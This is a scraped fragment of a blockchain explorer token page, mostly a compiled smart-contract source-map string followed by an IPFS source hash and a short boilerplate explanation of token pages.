12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1904:456::-;1981:6;1989;1997;2050:2;2038:9;2029:7;2025:23;2021:32;2018:52;;;2066:1;2063;2056:12;2018:52;2105:9;2092:23;2124:31;2149:5;2124:31;:::i;:::-;2174:5;-1:-1:-1;2231:2:1;2216:18;;2203:32;2244:33;2203:32;2244:33;:::i;:::-;1904:456;;2296:7;;-1:-1:-1;;;2350:2:1;2335:18;;;;2322:32;;1904:456::o;2762:247::-;2821:6;2874:2;2862:9;2853:7;2849:23;2845:32;2842:52;;;2890:1;2887;2880:12;2842:52;2929:9;2916:23;2948:31;2973:5;2948:31;:::i;3014:388::-;3082:6;3090;3143:2;3131:9;3122:7;3118:23;3114:32;3111:52;;;3159:1;3156;3149:12;3111:52;3198:9;3185:23;3217:31;3242:5;3217:31;:::i;:::-;3267:5;-1:-1:-1;3324:2:1;3309:18;;3296:32;3337:33;3296:32;3337:33;:::i;:::-;3389:7;3379:17;;;3014:388;;;;;:::o;3407:380::-;3486:1;3482:12;;;;3529;;;3550:61;;3604:4;3596:6;3592:17;3582:27;;3550:61;3657:2;3649:6;3646:14;3626:18;3623:38;3620:161;;;3703:10;3698:3;3694:20;3691:1;3684:31;3738:4;3735:1;3728:15;3766:4;3763:1;3756:15;3620:161;;3407:380;;;:::o;3792:356::-;3994:2;3976:21;;;4013:18;;;4006:30;4072:34;4067:2;4052:18;;4045:62;4139:2;4124:18;;3792:356::o;4153:127::-;4214:10;4209:3;4205:20;4202:1;4195:31;4245:4;4242:1;4235:15;4269:4;4266:1;4259:15;4285:422;4374:1;4417:5;4374:1;4431:270;4452:7;4442:8;4439:21;4431:270;;;4511:4;4507:1;4503:6;4499:17;4493:4;4490:27;4487:53;;;4520:18;;:::i;:::-;4570:7;4560:8;4556:22;4553:55;;;4590:16;;;;4553:55;4669:22;;;;4629:15;;;;4431:270;;;4435:3;4285:422;;;;;:::o;4712:806::-;4761:5;4791:8;4781:80;;-1:-1:-1;4832:1:1;4846:5;;4781:80;4880:4;4870:76;;-1:-1:-1;4917:1:1;4931:5;;4870:76;4962:4;4980:1;4975:59;;;;5048:1;5043:130;;;;4955:218;;4975:59;5005:1;4996:10;;5019:5;;;5043:130;5080:3;5070:8;5067:17;5064:43;;;5087:18;;:::i;:::-;-1:-1:-1;;5143:1:1;5129:16;;5158:5;;4955:218;;5257:2;5247:8;5244:16;5238:3;5232:4;5229:13;5225:36;5219:2;5209:8;5206:16;5201:2;5195:4;5192:12;5188:35;5185:77;5182:159;;;-1:-1:-1;5294:19:1;;;5326:5;;5182:159;5373:34;5398:8;5392:4;5373:34;:::i;:::-;5443:6;5439:1;5435:6;5431:19;5422:7;5419:32;5416:58;;;5454:18;;:::i;:::-;5492:20;;4712:806;-1:-1:-1;;;4712:806:1:o;5523:140::-;5581:5;5610:47;5651:4;5641:8;5637:19;5631:4;5610:47;:::i;5668:168::-;5708:7;5774:1;5770;5766:6;5762:14;5759:1;5756:21;5751:1;5744:9;5737:17;5733:45;5730:71;;;5781:18;;:::i;:::-;-1:-1:-1;5821:9:1;;5668:168::o;5841:251::-;5911:6;5964:2;5952:9;5943:7;5939:23;5935:32;5932:52;;;5980:1;5977;5970:12;5932:52;6012:9;6006:16;6031:31;6056:5;6031:31;:::i;6406:607::-;-1:-1:-1;;;;;6765:15:1;;;6747:34;;6812:2;6797:18;;6790:34;;;;6855:2;6840:18;;6833:34;;;;6898:2;6883:18;;6876:34;;;;6947:15;;;6941:3;6926:19;;6919:44;6727:3;6979:19;;6972:35;;;;6696:3;6681:19;;6406:607::o;7018:306::-;7106:6;7114;7122;7175:2;7163:9;7154:7;7150:23;7146:32;7143:52;;;7191:1;7188;7181:12;7143:52;7220:9;7214:16;7204:26;;7270:2;7259:9;7255:18;7249:25;7239:35;;7314:2;7303:9;7299:18;7293:25;7283:35;;7018:306;;;;;:::o;7736:128::-;7776:3;7807:1;7803:6;7800:1;7797:13;7794:39;;;7813:18;;:::i;:::-;-1:-1:-1;7849:9:1;;7736:128::o;8225:217::-;8265:1;8291;8281:132;;8335:10;8330:3;8326:20;8323:1;8316:31;8370:4;8367:1;8360:15;8398:4;8395:1;8388:15;8281:132;-1:-1:-1;8427:9:1;;8225:217::o;11286:125::-;11326:4;11354:1;11351;11348:8;11345:34;;;11359:18;;:::i;:::-;-1:-1:-1;11396:9:1;;11286:125::o;11416:184::-;11486:6;11539:2;11527:9;11518:7;11514:23;11510:32;11507:52;;;11555:1;11552;11545:12;11507:52;-1:-1:-1;11578:16:1;;11416:184;-1:-1:-1;11416:184:1:o;11737:127::-;11798:10;11793:3;11789:20;11786:1;11779:31;11829:4;11826:1;11819:15;11853:4;11850:1;11843:15;11869:461;11922:3;11960:5;11954:12;11987:6;11982:3;11975:19;12013:4;12042:2;12037:3;12033:12;12026:19;;12079:2;12072:5;12068:14;12100:1;12110:195;12124:6;12121:1;12118:13;12110:195;;;12189:13;;-1:-1:-1;;;;;12185:39:1;12173:52;;12245:12;;;;12280:15;;;;12221:1;12139:9;12110:195;;;-1:-1:-1;12321:3:1;;11869:461;-1:-1:-1;;;;;11869:461:1:o;12335:582::-;12634:6;12623:9;12616:25;12677:6;12672:2;12661:9;12657:18;12650:34;12720:3;12715:2;12704:9;12700:18;12693:31;12597:4;12741:57;12793:3;12782:9;12778:19;12770:6;12741:57;:::i;:::-;-1:-1:-1;;;;;12834:32:1;;;;12829:2;12814:18;;12807:60;-1:-1:-1;12898:3:1;12883:19;12876:35;12733:65;12335:582;-1:-1:-1;;;12335:582:1:o;12922:332::-;13129:6;13118:9;13111:25;13172:2;13167;13156:9;13152:18;13145:30;13092:4;13192:56;13244:2;13233:9;13229:18;13221:6;13192:56;:::i;:::-;13184:64;12922:332;-1:-1:-1;;;;12922:332:1:o

Swarm Source

ipfs://f797e52f7d699872c175473d426c3af4d7a2a7da2efd2dddf7bca8c2a8aad78c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.